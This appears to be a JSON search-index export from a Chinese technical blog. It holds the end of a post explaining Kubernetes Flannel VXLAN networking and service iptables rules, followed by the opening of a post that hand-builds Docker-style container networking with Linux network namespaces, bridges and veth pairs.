ip}\u0026quot;,\u0026quot;BackendType\u0026quot;:\u0026quot;vxlan\u0026quot;,\u0026quot;BackendData\u0026quot;:{\u0026quot;VtepMAC\u0026quot;:\u0026quot;b6:bf:4c:81:cf:3b\u0026quot;}} minion node: # etcdctl --endpoints http://127.0.0.1:{etcd listen port} get /coreos.com/network/subnets/172.16.57.0-24 {\u0026quot;PublicIP\u0026quot;:\u0026quot;{minion node ip}\u0026quot;,\u0026quot;BackendType\u0026quot;:\u0026quot;vxlan\u0026quot;,\u0026quot;BackendData\u0026quot;:{\u0026quot;VtepMAC\u0026quot;:\u0026quot;d6:51:2e:80:5c:69\u0026quot;}} 或用etcd 提供的rest api：\n# curl -L http://127.0.0.1:{etcd listen port}/v2/keys/coreos.com/network/config {\u0026quot;action\u0026quot;:\u0026quot;get\u0026quot;,\u0026quot;node\u0026quot;:{\u0026quot;key\u0026quot;:\u0026quot;/coreos.com/network/config\u0026quot;,\u0026quot;value\u0026quot;:\u0026quot;{\\\u0026quot;Network\\\u0026quot;:\\\u0026quot;172.16.0.0/16\\\u0026quot;, \\\u0026quot;Backend\\\u0026quot;: {\\\u0026quot;Type\\\u0026quot;: \\\u0026quot;vxlan\\\u0026quot;}}\u0026quot;,\u0026quot;modifiedIndex\u0026quot;:5,\u0026quot;createdIndex\u0026quot;:5}} c) 启动flanneld kube-up.sh在每个Kubernetes node上启动了一个flanneld的程序：\n# ps -ef|grep flanneld master node: root 1151 1 0 2016 ? 00:02:34 /opt/bin/flanneld --etcd-endpoints=http://127.0.0.1:{etcd listen port} --ip-masq --iface={master node ip} minion node: root 11940 1 0 2016 ? 00:07:05 /opt/bin/flanneld --etcd-endpoints=http://{master node ip}:{etcd listen port} --ip-masq --iface={minion node ip} 一旦flanneld启动，它将从etcd中读取配置，并请求获取一个subnet lease(租约)，有效期目前是24hrs，并且监视etcd的数据更新。flanneld一旦获取subnet租约、配置完backend，它会将一些信息写入/run/flannel/subnet.env文件。\nmaster node： # cat /run/flannel/subnet.env FLANNEL_NETWORK=172.16.0.0/16 FLANNEL_SUBNET=172.16.99.1/24 FLANNEL_MTU=1450 FLANNEL_IPMASQ=true minion node: # cat /run/flannel/subnet.env FLANNEL_NETWORK=172.16.0.0/16 FLANNEL_SUBNET=172.16.57.1/24 FLANNEL_MTU=1450 FLANNEL_IPMASQ=true 当然flanneld的最大意义在于根据etcd中存储的全cluster的subnet信息，跨node传输flannel network中的数据包，这个后面会详细说明。\nd) 创建flannel.1 网络设备、更新路由信息 各个node上的网络设备列表新增一个名为flannel.1的类型为vxlan的网络设备：\nmaster node: # ip -d link show 4: flannel.1: \u0026lt;BROADCAST,MULTICAST,UP,LOWER_UP\u0026gt; mtu 1450 qdisc noqueue state UNKNOWN mode DEFAULT group default link/ether b6:bf:4c:81:cf:3b brd ff:ff:ff:ff:ff:ff promiscuity 0 vxlan id 1 local {master node local ip} dev eth0 port 0 0 nolearning ageing 300 minion node: 349: flannel.1: \u0026lt;BROADCAST,MULTICAST,UP,LOWER_UP\u0026gt; mtu 1450 qdisc noqueue state UNKNOWN mode DEFAULT group default link/ether d6:51:2e:80:5c:69 brd ff:ff:ff:ff:ff:ff promiscuity 0 vxlan id 1 local {minion node local ip} dev eth0 port 0 0 nolearning ageing 300 从flannel.1的设备信息来看，它似乎与eth0存在着某种bind关系。这是在其他bridge、veth设备描述信息中所没有的。\nflannel.1设备的ip：\nmaster node: flannel.1 Link encap:Ethernet HWaddr b6:bf:4c:81:cf:3b inet addr:172.16.99.0 Bcast:0.0.0.0 Mask:255.255.0.0 UP BROADCAST RUNNING MULTICAST MTU:1450 Metric:1 RX packets:5993274 errors:0 dropped:0 overruns:0 frame:0 TX packets:5829044 errors:0 dropped:292 overruns:0 carrier:0 collisions:0 txqueuelen:0 RX bytes:1689890445 (1.6 GB) TX bytes:1144725704 (1.1 GB) minion node: flannel.1 Link encap:Ethernet HWaddr d6:51:2e:80:5c:69 inet addr:172.16.57.0 Bcast:0.0.0.0 Mask:255.255.0.0 UP BROADCAST RUNNING MULTICAST MTU:1450 Metric:1 RX packets:6294640 errors:0 dropped:0 overruns:0 frame:0 TX packets:5755599 errors:0 dropped:25 overruns:0 carrier:0 collisions:0 txqueuelen:0 RX bytes:989362527 (989.3 MB) TX bytes:1861492847 (1.8 GB) 可以看到两个node上的flannel.1的ip与k8s cluster为两个node上分配subnet的ip范围是对应的。\n下面是两个node上的当前路由表：\nmaster node: # ip route ... ... 172.16.0.0/16 dev flannel.1 proto kernel scope link src 172.16.99.0 172.16.99.0/24 dev docker0 proto kernel scope link src 172.16.99.1 ... ... minion node: # ip route ... ... 172.16.0.0/16 dev flannel.1 172.16.57.0/24 dev docker0 proto kernel scope link src 172.16.57.1 ... ... 以上信息将为后续数据包传输分析打下基础。\ne) 平坦的flannel network 从以上kubernetes和flannel network安装之后获得的网络信息，我们能看出flannel network是一个flat network。在flannel：172.16.0.0/16这个大网下，每个kubernetes node从中分配一个子网片段(/24)：\nmaster node： --bip=172.16.99.1/24 minion node： --bip=172.16.57.1/24 root@node1:~# etcdctl --endpoints http://127.0.0.1:{etcd listen port} ls /coreos.com/network/subnets /coreos.com/network/subnets/172.16.99.0-24 /coreos.com/network/subnets/172.16.57.0-24 用一张图来诠释可能更为直观：\n这个是不是有些像x86-64的虚拟内存寻址空间啊（同样是平坦内存地址访问模型）！\n在平坦的flannel network中，每个pod都会被分配唯一的ip地址，且每个k8s node的subnet各不重叠，没有交集。不过这样的subnet分配模型也有一定弊端，那就是可能存在ip浪费：一个node上有200多个flannel ip地址(xxx.xxx.xxx.xxx/24)，如果仅仅启动了几个Pod，那么其余ip就处于闲置状态。\n2、Flannel网络通信原理 这里我们模仿flannel官方的那幅原理图，画了一幅与我们的实验环境匹配的图，作为后续讨论flannel网络通信流程的基础：\n如上图所示，我们来看看从pod1：172.16.99.8发出的数据包是如何到达pod3：172.16.57.15的（比如：在pod1的某个container中ping -c 3 172.16.57.15）。\na) 从Pod出发 由于k8s更改了docker的DOCKER_OPTS，显式指定了–bip，这个值与分配给该node上的subnet的范围是一致的。这样一来，docker引擎每次创建一个Docker container，该container被分配到的ip都在flannel subnet范围内。\n当我们在Pod1下的某个容器内执行ping -c 3 172.16.57.15，数据包便开始了它在flannel network中的旅程。\nPod是Kubernetes调度的基本unit。Pod内的多个container共享一个network namespace。kubernetes在创建Pod时，首先先创建pause容器，然后再以pause的network namespace为基础，创建pod内的其他容器（–net=container:xxx），这样Pod内的所有容器便共享一个network namespace，这些容器间的访问直接通过localhost即可。比如Pod下A容器启动了一个服务，监听8080端口，那么同一个Pod下面的另外一个B容器通过访问localhost:8080即可访问到A容器下面的那个服务。\n在之前的《理解Docker容器网络之Linux Network Namespace》一文中，我相信我已经讲清楚了单机下Docker容器数据传输的路径。在这个环节中，数据包的传输路径也并无不同。\n我们看一下Pod1中某Container内的路由信息：\n# docker exec ba75f81455c7 ip route default via 172.16.99.1 dev eth0 172.16.99.0/24 dev eth0 proto kernel scope link src 172.16.99.8 目的地址172.16.57.15并不在直连网络中，因此数据包通过default路由出去。default路由的路由器地址是172.16.99.1，也就是上面的docker0 bridge的IP地址。相当于docker0 bridge以“三层的工作模式”直接接收到来自容器的数据包(而并非从bridge的二层端口接收)。\nb) docker0与flannel.1之间的包转发 数据包到达docker0后，docker0的内核栈处理程序发现这个数据包的目的地址是172.16.57.15，并不是真的要送给自己，于是开始为该数据包找下一hop。根据master node上的路由表：\nmaster node： # ip route ... ... 172.16.0.0/16 dev flannel.1 proto kernel scope link src 172.16.99.0 172.16.99.0/24 dev docker0 proto kernel scope link src 172.16.99.1 ... ... 我们匹配到“172.16.0.0/16”这条路由！这是一条直连路由，数据包被直接送到flannel.1设备上。\nc) flannel.1设备以及flanneld的功用 flannel.1是否会重复docker0的套路呢：包不是发给自己，转发数据包？会，也不会。\n“会”是指flannel.1肯定要将包转发出去，因为毕竟包不是给自己的（包目的ip是172.16.57.15, vxlan设备ip是172.16.99.0）。\n“不会”是指flannel.1不会走寻常套路去转发包，因为它是一个vxlan类型的设备，也称为vtep，virtual tunnel end point。\n那么它到底是怎么处理数据包的呢？这里涉及一些Linux内核对vxlan处理的内容，详细内容可参见本文末尾的参考资料。\nflannel.1收到数据包后，由于自己不是目的地，也要尝试将数据包重新发送出去。数据包沿着网络协议栈向下流动，在二层时需要封二层以太包，填写目的mac地址，这时一般应该发出arp：”who is 172.16.57.15″。但vxlan设备的特殊性就在于它并没有真正在二层发出这个arp包，因为下面的这个内核参数设置：\nmaster node: # cat /proc/sys/net/ipv4/neigh/flannel.1/app_solicit 3 而是由linux kernel引发一个”L3 MISS”事件并将arp请求发到用户空间的flanned程序。\nflanned程序收到”L3 MISS”内核事件以及arp请求(who is 172.16.57.15)后，并不会向外网发送arp request，而是尝试从etcd查找该地址匹配的子网的vtep信息。在前面章节我们曾经展示过etcd中Flannel network的配置信息：\nmaster node: # etcdctl --endpoints http://127.0.0.1:{etcd listen port} ls /coreos.com/network/subnets /coreos.com/network/subnets/172.16.99.0-24 /coreos.com/network/subnets/172.16.57.0-24 # curl -L http://127.0.0.1:{etcd listen port}/v2/keys/coreos.com/network/subnets/172.16.57.0-24 {\u0026quot;action\u0026quot;:\u0026quot;get\u0026quot;,\u0026quot;node\u0026quot;:{\u0026quot;key\u0026quot;:\u0026quot;/coreos.com/network/subnets/172.16.57.0-24\u0026quot;,\u0026quot;value\u0026quot;:\u0026quot;{\\\u0026quot;PublicIP\\\u0026quot;:\\\u0026quot;{minion node local ip}\\\u0026quot;,\\\u0026quot;BackendType\\\u0026quot;:\\\u0026quot;vxlan\\\u0026quot;,\\\u0026quot;BackendData\\\u0026quot;:{\\\u0026quot;VtepMAC\\\u0026quot;:\\\u0026quot;d6:51:2e:80:5c:69\\\u0026quot;}}\u0026quot;,\u0026quot;expiration\u0026quot;:\u0026quot;2017-01-17T09:46:20.607339725Z\u0026quot;,\u0026quot;ttl\u0026quot;:21496,\u0026quot;modifiedIndex\u0026quot;:2275460,\u0026quot;createdIndex\u0026quot;:2275460}} flanneld从etcd中找到了答案：\nsubnet: 172.16.57.0/24 public ip: {minion node local ip} VtepMAC: d6:51:2e:80:5c:69 我们查看minion node上的信息，发现minion node上的flannel.1 设备mac就是d6:51:2e:80:5c:69：\nminion node: #ip -d link show 349: flannel.1: \u0026lt;BROADCAST,MULTICAST,UP,LOWER_UP\u0026gt; mtu 1450 qdisc noqueue state UNKNOWN mode DEFAULT group default link/ether d6:51:2e:80:5c:69 brd ff:ff:ff:ff:ff:ff promiscuity 0 vxlan id 1 local 10.46.181.146 dev eth0 port 0 0 nolearning ageing 300 接下来，flanned将查询到的信息放入master node host的arp cache表中：\nmaster node: #ip n |grep 172.16.57.15 172.16.57.15 dev flannel.1 lladdr d6:51:2e:80:5c:69 REACHABLE flanneld完成这项工作后，linux kernel就可以在arp table中找到 172.16.57.15对应的mac地址并封装二层以太包了。\n到目前为止，已经呈现在大家眼前的封包如下图：\n不过这个封包还不能在物理网络上传输，因为它实际上只是vxlan tunnel上的packet。\nd) kernel的vxlan封包 我们需要将上述的packet从master node传输到minion node，需要将上述packet再次封包。这个任务在backend为vxlan的flannel network中由linux kernel来完成。\nflannel.1为vxlan设备，linux kernel可以自动识别，并将上面的packet进行vxlan封包处理。在这个封包过程中，kernel需要知道该数据包究竟发到哪个node上去。kernel需要查看node上的fdb(forwarding database)以获得上面对端vtep设备（已经从arp table中查到其mac地址：d6:51:2e:80:5c:69）所在的node地址。如果fdb中没有这个信息，那么kernel会向用户空间的flanned程序发起”L2 MISS”事件。flanneld收到该事件后，会查询etcd，获取该vtep设备对应的node的”Public IP“，并将信息注册到fdb中。\n这样Kernel就可以顺利查询到该信息并封包了：\nmaster node: # bridge fdb show dev flannel.1|grep d6:51:2e:80:5c:69 d6:51:2e:80:5c:69 dst {minion node local ip} self permanent 由于目标ip是minion node，查找路由表，包应该从master node的eth0发出，这样src ip和src mac地址也就确定了。封好的包示意图如下：\ne) kernel的vxlan拆包 minion node上的eth0接收到上述vxlan包，kernel将识别出这是一个vxlan包，于是拆包后将flannel.1 packet转给minion node上的vtep（flannel.1）。minion node上的flannel.1再将这个数据包转到minion node上的docker0，继而由docker0传输到Pod3的某个容器里。\n3、Pod内到外部网络 我们在Pod中除了可以与pod network中的其他pod通信外，还可以访问外部网络，比如：\nmaster node: # docker exec ba75f81455c7 ping -c 3 baidu.com PING baidu.com (180.149.132.47): 56 data bytes 64 bytes from 180.149.132.47: icmp_seq=0 ttl=54 time=3.586 ms 64 bytes from 180.149.132.47: icmp_seq=1 ttl=54 time=3.752 ms 64 bytes from 180.149.132.47: icmp_seq=2 ttl=54 time=3.722 ms --- baidu.com ping statistics --- 3 packets transmitted, 3 packets received, 0% packet loss round-trip min/avg/max/stddev = 3.586/3.687/3.752/0.072 ms 这个通信与vxlan就没有什么关系了，主要是通过docker引擎在iptables的POSTROUTING chain中设置的MASQUERADE规则：\nmastre node: #iptables -t nat -nL ... ... Chain POSTROUTING (policy ACCEPT) target prot opt source destination MASQUERADE all -- 172.16.99.0/24 0.0.0.0/0 ... ... docker将容器的pod network地址伪装为node ip出去，包回来时再snat回容器的pod network地址，这样网络就通了。\n四、”不真实”的Service网络 每当我们在k8s cluster中创建一个service，k8s cluster就会在–service-cluster-ip-range的范围内为service分配一个cluster-ip，比如本文开始时提到的：\n# kubectl get services NAME CLUSTER-IP EXTERNAL-IP PORT(S) AGE index-api 192.168.3.168 \u0026lt;none\u0026gt; 30080/TCP 18d kubernetes 192.168.3.1 \u0026lt;none\u0026gt; 443/TCP 94d my-nginx 192.168.3.179 \u0026lt;nodes\u0026gt; 80/TCP 90d nginx-kit 192.168.3.196 \u0026lt;nodes\u0026gt; 80/TCP 12d rbd-rest-api 192.168.3.22 \u0026lt;none\u0026gt; 8080/TCP 60d 这个cluster-ip只是一个虚拟的ip，并不真实绑定某个物理网络设备或虚拟网络设备，仅仅存在于iptables的规则中：\nChain PREROUTING (policy ACCEPT) target prot opt source destination KUBE-SERVICES all -- 0.0.0.0/0 0.0.0.0/0 /* kubernetes service portals */ # iptables -t nat -nL|grep 192.168.3 Chain KUBE-SERVICES (2 references) target prot opt source destination KUBE-SVC-XGLOHA7QRQ3V22RZ tcp -- 0.0.0.0/0 192.168.3.182 /* kube-system/kubernetes-dashboard: cluster IP */ tcp dpt:80 KUBE-SVC-NPX46M4PTMTKRN6Y tcp -- 0.0.0.0/0 192.168.3.1 /* default/kubernetes:https cluster IP */ tcp dpt:443 KUBE-SVC-AU252PRZZQGOERSG tcp -- 0.0.0.0/0 192.168.3.22 /* default/rbd-rest-api: cluster IP */ tcp dpt:8080 KUBE-SVC-TCOU7JCQXEZGVUNU udp -- 0.0.0.0/0 192.168.3.10 /* kube-system/kube-dns:dns cluster IP */ udp dpt:53 KUBE-SVC-BEPXDJBUHFCSYIC3 tcp -- 0.0.0.0/0 192.168.3.179 /* default/my-nginx: cluster IP */ tcp dpt:80 KUBE-SVC-UQG6736T32JE3S7H tcp -- 0.0.0.0/0 192.168.3.196 /* default/nginx-kit: cluster IP */ tcp dpt:80 KUBE-SVC-ERIFXISQEP7F7OF4 tcp -- 0.0.0.0/0 192.168.3.10 /* kube-system/kube-dns:dns-tcp cluster IP */ tcp dpt:53 ... ... 可以看到在PREROUTING环节，k8s设置了一个target: KUBE-SERVICES。而KUBE-SERVICES下面又设置了许多target，一旦destination和dstport匹配，就会沿着chain进行处理。\n比如：当我们在pod网络curl 192.168.3.22 8080时，匹配到下面的KUBE-SVC-AU252PRZZQGOERSG target：\nKUBE-SVC-AU252PRZZQGOERSG tcp -- 0.0.0.0/0 192.168.3.22 /* default/rbd-rest-api: cluster IP */ tcp dpt:8080 沿着target，我们看到”KUBE-SVC-AU252PRZZQGOERSG”对应的内容如下：\nChain KUBE-SVC-AU252PRZZQGOERSG (1 references) target prot opt source destination KUBE-SEP-I6L4LR53UYF7FORX all -- 0.0.0.0/0 0.0.0.0/0 /* default/rbd-rest-api: */ statistic mode random probability 0.50000000000 KUBE-SEP-LBWOKUH4CUTN7XKH all -- 0.0.0.0/0 0.0.0.0/0 /* default/rbd-rest-api: */ Chain KUBE-SEP-I6L4LR53UYF7FORX (1 references) target prot opt source destination KUBE-MARK-MASQ all -- 172.16.99.6 0.0.0.0/0 /* default/rbd-rest-api: */ DNAT tcp -- 0.0.0.0/0 0.0.0.0/0 /* default/rbd-rest-api: */ tcp to:172.16.99.6:8080 Chain KUBE-SEP-LBWOKUH4CUTN7XKH (1 references) target prot opt source destination KUBE-MARK-MASQ all -- 172.16.99.7 0.0.0.0/0 /* default/rbd-rest-api: */ DNAT tcp -- 0.0.0.0/0 0.0.0.0/0 /* default/rbd-rest-api: */ tcp to:172.16.99.7:8080 Chain KUBE-MARK-MASQ (17 references) target prot opt source destination MARK all -- 0.0.0.0/0 0.0.0.0/0 MARK or 0x4000 请求被按5：5开的比例分发（起到负载均衡的作用）到KUBE-SEP-I6L4LR53UYF7FORX 和KUBE-SEP-LBWOKUH4CUTN7XKH，而这两个chain的处理方式都是一样的，那就是先做mark，然后做dnat，将service ip改为pod network中的Pod IP，进而请求被实际传输到某个service下面的pod中处理了。\n五、参考资料 How VXLAN works on Linux\u0026amp;VTEP implementation with Flannel Virtual switching technologies and Linux bridge How Flannel’s VXLAN backend works 建议用google翻译将网页从日文翻译成英文再看^0^。 Software Defined Networking using VXLAN ","permalink":"https://tonybai.com/2017/01/17/understanding-flannel-network-for-kubernetes/","summary":"\u003cp\u003e第一次\u003ca href=\"http://tonybai.com/2016/10/18/learn-how-to-install-kubernetes-on-ubuntu\"\u003e采用kube-up.sh脚本方式安装\u003c/a\u003e的\u003ca href=\"http://tonybai.com/tag/kubernetes\"\u003eKubernetes\u003c/a\u003e cluster目前运行良好，master node上的组件状态也始终是“没毛病”：\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003e# kubectl get cs\nNAME                 STATUS    MESSAGE              ERROR\ncontroller-manager   Healthy   ok\nscheduler            Healthy   ok\netcd-0               Healthy   {\u0026quot;health\u0026quot;: \u0026quot;true\u0026quot;}\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003e不过在第二次尝试\u003ca href=\"http://tonybai.com/2016/12/30/install-kubernetes-on-ubuntu-with-kubeadm\"\u003e用kubeadm安装和初始化Kubernetes cluster\u003c/a\u003e时遇到的各种网络问题还是让我“心有余悸”。于是趁上个周末，对Kubernetes的网络原理进行了一些针对性的学习。这里把对Kubernetes网络的理解记录一下和大家一起分享。\u003c/p\u003e","title":"理解Kubernetes网络之Flannel网络"},{"content":"由于2016年年中调换工作的原因，对容器网络的研究中断过一段时间。随着当前项目对Kubernetes应用的深入，我感觉之前对于容器网络的粗浅理解已经不够了，容器网络成了摆在前面的“一道坎”。继续深入理解K8s网络、容器网络已经势在必行。而这篇文章就算是一个重新开始，也是对之前浅表理解的一个补充。\n我还是先从Docker容器网络入手，虽然Docker与Kubernetes采用了不同的网络模型：K8s是Container Network Interface, CNI模型，而Docker则采用的是Container Network Model, CNM模型。而要了解Docker容器网络，理解Linux Network Namespace是不可或缺的。在本文中我们将尝试理解Linux Network Namespace及相关Linux内核网络设备的概念，并手工模拟Docker容器网络模型的部分实现，包括单机容器网络中的容器与主机连通、容器间连通以及端口映射等。\n一、Docker的CNM网络模型 Docker通过libnetwork实现了CNM网络模型。libnetwork设计doc中对CNM模型的简单诠释如下：\nCNM模型有三个组件：\nSandbox(沙盒)：每个沙盒包含一个容器网络栈(network stack)的配置，配置包括：容器的网口、路由表和DNS设置等。 Endpoint(端点)：通过Endpoint，沙盒可以被加入到一个Network里。 Network(网络)：一组能相互直接通信的Endpoints。 光看这些，我们还很难将之与现实中的Docker容器联系起来，毕竟是抽象的模型不对应到实体，总有种漂浮的赶脚。文档中又给出了CNM模型在Linux上的参考实现技术，比如：沙盒的实现可以是一个Linux Network Namespace；Endpoint可以是一对VETH；Network则可以用Linux Bridge或Vxlan实现。\n这些实现技术反倒是比较接地气。之前我们在使用Docker容器时，了解过Docker是用linux network namespace实现的容器网络隔离的。使用docker时，在物理主机或虚拟机上会有一个docker0的linux bridge，brctl show时能看到 docker0上“插上了”好多veth网络设备：\n# ip link show ... ... 3: docker0: \u0026lt;BROADCAST,MULTICAST,UP,LOWER_UP\u0026gt; mtu 1500 qdisc noqueue state UP mode DEFAULT group default link/ether 02:42:30:11:98:ef brd ff:ff:ff:ff:ff:ff 19: veth4559467@if18: \u0026lt;BROADCAST,MULTICAST,UP,LOWER_UP\u0026gt; mtu 1500 qdisc noqueue master docker0 state UP mode DEFAULT group default link/ether a6:14:99:52:78:35 brd ff:ff:ff:ff:ff:ff link-netnsid 3 ... ... $ brctl show bridge name bridge id STP enabled interfaces ... ... docker0 8000.0242301198ef no veth4559467 模型与现实终于有点接驳了！下面我们将进一步深入对这些术语概念的理解。\n二、Linux Bridge、VETH和Network Namespace Linux Bridge，即Linux网桥设备，是Linux提供的一种虚拟网络设备之一。其工作方式非常类似于物理的网络交换机设备。Linux Bridge可以工作在二层，也可以工作在三层，默认工作在二层。工作在二层时，可以在同一网络的不同主机间转发以太网报文；一旦你给一个Linux Bridge分配了IP地址，也就开启了该Bridge的三层工作模式。在Linux下，你可以用iproute2工具包或brctl命令对Linux bridge进行管理。\nVETH(Virtual Ethernet )是Linux提供的另外一种特殊的网络设备，中文称为虚拟网卡接口。它总是成对出现，要创建就创建一个pair。一个Pair中的veth就像一个网络线缆的两个端点，数据从一个端点进入，必然从另外一个端点流出。每个veth都可以被赋予IP地址，并参与三层网络路由过程。\n关于Linux Bridge和VETH的具体工作原理，可以参考IBM developerWorks上的这篇文章《Linux 上的基础网络设备详解》。\nNetwork namespace，网络名字空间，允许你在Linux创建相互隔离的网络视图，每个网络名字空间都有独立的网络配置，比如：网络设备、路由表等。新建的网络名字空间与主机默认网络名字空间之间是隔离的。我们平时默认操作的是主机的默认网络名字空间。\n概念总是抽象的，接下来我们将在一个模拟Docker容器网络的例子中看到这些Linux网络概念和网络设备到底是起到什么作用的以及是如何操作的。\n三、用Network namespace模拟Docker容器网络 为了进一步了解network namespace、bridge和veth在docker容器网络中的角色和作用，我们来做一个demo：用network namespace模拟Docker容器网络，实际上Docker容器网络在linux上也是基于network namespace实现的，我们只是将其“自动化”的创建过程做成了“分解动作”，便于大家理解。\n1、环境 我们在一台物理机上进行这个Demo实验。物理机安装了Ubuntu 16.04.1，内核版本：4.4.0-57-generic。Docker容器版本：\nClient: Version: 1.12.1 API version: 1.24 Go version: go1.6.3 Git commit: 23cf638 Built: Thu Aug 18 05:33:38 2016 OS/Arch: linux/amd64 Server: Version: 1.12.1 API version: 1.24 Go version: go1.6.3 Git commit: 23cf638 Built: Thu Aug 18 05:33:38 2016 OS/Arch: linux/amd64 另外，环境中需安装了iproute2和brctl工具。\n2、拓扑 我们来模拟一个拥有两个容器的容器桥接网络：\n对应的用手工搭建的模拟版本拓扑如下(由于在同一台主机，模拟版本采用172.16.0.0/16网段)：\n3、创建步骤 a) 创建Container_ns1和Container_ns2 network namespace 默认情况下，我们在Host上看到的都是default network namespace的视图。为了模拟容器网络，我们新建两个network namespace：\nsudo ip netns add Container_ns1 sudo ip netns add Container_ns2 $ sudo ip netns list Container_ns2 Container_ns1 创建的ns也可以在/var/run/netns路径下看到：\n$ sudo ls /var/run/netns Container_ns1 Container_ns2 我们探索一下新创建的ns的网络空间(通过ip netns exec命令可以在特定ns的内部执行相关程序，这个exec命令是至关重要的，后续还会发挥更大作用)：\n$ sudo ip netns exec Container_ns1 ip a 1: lo: \u0026lt;LOOPBACK\u0026gt; mtu 65536 qdisc noop state DOWN group default qlen 1 link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00 $ sudo ip netns exec Container_ns2 ip a 1: lo: \u0026lt;LOOPBACK\u0026gt; mtu 65536 qdisc noop state DOWN group default qlen 1 link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00 $ sudo ip netns exec Container_ns2 ip route 可以看到，新建的ns的网络设备只有一个loopback口，并且路由表为空。\nb) 创建MyDocker0 bridge 我们在default network namespace下创建MyDocker0 linux bridge：\n$ sudo brctl addbr MyDocker0 $ brctl show bridge name bridge id STP enabled interfaces MyDocker0 8000.000000000000 no 给MyDocker0分配ip地址并生效该设备，开启三层，为后续充当Gateway做准备：\n$ sudo ip addr add 172.16.1.254/16 dev MyDocker0 $ sudo ip link set dev MyDocker0 up 启用后，我们发现default network namespace的路由配置中增加了一条路由：\n$ route -n 内核 IP 路由表 目标 网关 子网掩码 标志 跃点 引用 使用 接口 0.0.0.0 10.11.36.1 0.0.0.0 UG 100 0 0 eno1 ... ... 172.16.0.0 0.0.0.0 255.255.0.0 U 0 0 0 MyDocker0 ... ... c) 创建VETH，连接两对network namespaces 到目前为止，default ns与Container_ns1、Container_ns2之间还没有任何瓜葛。接下来就是见证奇迹的时刻了。我们通过veth pair建立起多个ns之间的联系：\n创建连接default ns与Container_ns1之间的veth pair – veth1和veth1p：\n$sudo ip link add veth1 type veth peer name veth1p $sudo ip -d link show ... ... 21: veth1p@veth1: \u0026lt;BROADCAST,MULTICAST,M-DOWN\u0026gt; mtu 1500 qdisc noop state DOWN mode DEFAULT group default qlen 1000 link/ether 66:6d:e7:75:3f:43 brd ff:ff:ff:ff:ff:ff promiscuity 0 veth addrgenmode eui64 22: veth1@veth1p: \u0026lt;BROADCAST,MULTICAST,M-DOWN\u0026gt; mtu 1500 qdisc noop state DOWN mode DEFAULT group default qlen 1000 link/ether 56:cd:bb:f2:10:3f brd ff:ff:ff:ff:ff:ff promiscuity 0 veth addrgenmode eui64 ... ... 将veth1“插到”MyDocker0这个bridge上：\n$ sudo brctl addif MyDocker0 veth1 $ sudo ip link set veth1 up $ brctl show bridge name bridge id STP enabled interfaces MyDocker0 8000.56cdbbf2103f no veth1 将veth1p“放入”Container_ns1中：\n$ sudo ip link set veth1p netns Container_ns1 $ sudo ip netns exec Container_ns1 ip a 1: lo: \u0026lt;LOOPBACK\u0026gt; mtu 65536 qdisc noop state DOWN group default qlen 1 link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00 21: veth1p@if22: \u0026lt;BROADCAST,MULTICAST\u0026gt; mtu 1500 qdisc noop state DOWN group default qlen 1000 link/ether 66:6d:e7:75:3f:43 brd ff:ff:ff:ff:ff:ff link-netnsid 0 这时，你在default ns中将看不到veth1p这个虚拟网络设备了。按照上面拓扑，位于Container_ns1中的veth应该更名为eth0：\n$ sudo ip netns exec Container_ns1 ip link set veth1p name eth0 $ sudo ip netns exec Container_ns1 ip a 1: lo: \u0026lt;LOOPBACK\u0026gt; mtu 65536 qdisc noop state DOWN group default qlen 1 link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00 21: eth0@if22: \u0026lt;BROADCAST,MULTICAST\u0026gt; mtu 1500 qdisc noop state DOWN group default qlen 1000 link/ether 66:6d:e7:75:3f:43 brd ff:ff:ff:ff:ff:ff link-netnsid 0 将Container_ns1中的eth0生效并配置IP地址：\n$ sudo ip netns exec Container_ns1 ip link set eth0 up $ sudo ip netns exec Container_ns1 ip addr add 172.16.1.1/16 dev eth0 赋予IP地址后，自动生成一条直连路由：\nsudo ip netns exec Container_ns1 ip route 172.16.0.0/16 dev eth0 proto kernel scope link src 172.16.1.1 现在在Container_ns1下可以ping通MyDocker0了，但由于没有其他路由，包括默认路由，ping其他地址还是不通的（比如：docker0的地址：172.17.0.1）：\n$ sudo ip netns exec Container_ns1 ping -c 3 172.16.1.254 PING 172.16.1.254 (172.16.1.254) 56(84) bytes of data. 64 bytes from 172.16.1.254: icmp_seq=1 ttl=64 time=0.074 ms 64 bytes from 172.16.1.254: icmp_seq=2 ttl=64 time=0.064 ms 64 bytes from 172.16.1.254: icmp_seq=3 ttl=64 time=0.068 ms --- 172.16.1.254 ping statistics --- 3 packets transmitted, 3 received, 0% packet loss, time 1998ms rtt min/avg/max/mdev = 0.064/0.068/0.074/0.010 ms $ sudo ip netns exec Container_ns1 ping -c 3 172.17.0.1 connect: Network is unreachable 我们再给Container_ns1添加一条默认路由，让其能ping通物理主机上的其他网络设备或其他ns空间中的网络设备地址：\n$ sudo ip netns exec Container_ns1 ip route add default via 172.16.1.254 $ sudo ip netns exec Container_ns1 ip route default via 172.16.1.254 dev eth0 172.16.0.0/16 dev eth0 proto kernel scope link src 172.16.1.1 $ sudo ip netns exec Container_ns1 ping -c 3 172.17.0.1 PING 172.17.0.1 (172.17.0.1) 56(84) bytes of data. 64 bytes from 172.17.0.1: icmp_seq=1 ttl=64 time=0.068 ms 64 bytes from 172.17.0.1: icmp_seq=2 ttl=64 time=0.076 ms 64 bytes from 172.17.0.1: icmp_seq=3 ttl=64 time=0.069 ms --- 172.17.0.1 ping statistics --- 3 packets transmitted, 3 received, 0% packet loss, time 1999ms rtt min/avg/max/mdev = 0.068/0.071/0.076/0.003 ms 不过这时候，如果想在Container_ns1中ping通物理主机之外的地址，比如:google.com，那还是不通的。为什么呢？因为ping的icmp的包的源地址没有做snat（docker是通过设置iptables规则实现的），导致出去的以172.16.1.1为源地址的包“有去无回”了^0^。\n接下来，我们按照上述步骤，再创建连接default ns与Container_ns2之间的veth pair – veth2和veth2p，由于步骤相同，这里就不列出那么多信息了，只列出关键操作：\n$ sudo ip link add veth2 type veth peer name veth2p $ sudo brctl addif MyDocker0 veth2 $ sudo ip link set veth2 up $ sudo ip link set veth2p netns Container_ns2 $ sudo ip netns exec Container_ns2 ip link set veth2p name eth0 $ sudo ip netns exec Container_ns2 ip link set eth0 up $ sudo ip netns exec Container_ns2 ip addr add 172.16.1.2/16 dev eth0 $ sudo ip netns exec Container_ns2 ip route add default via 172.16.1.254 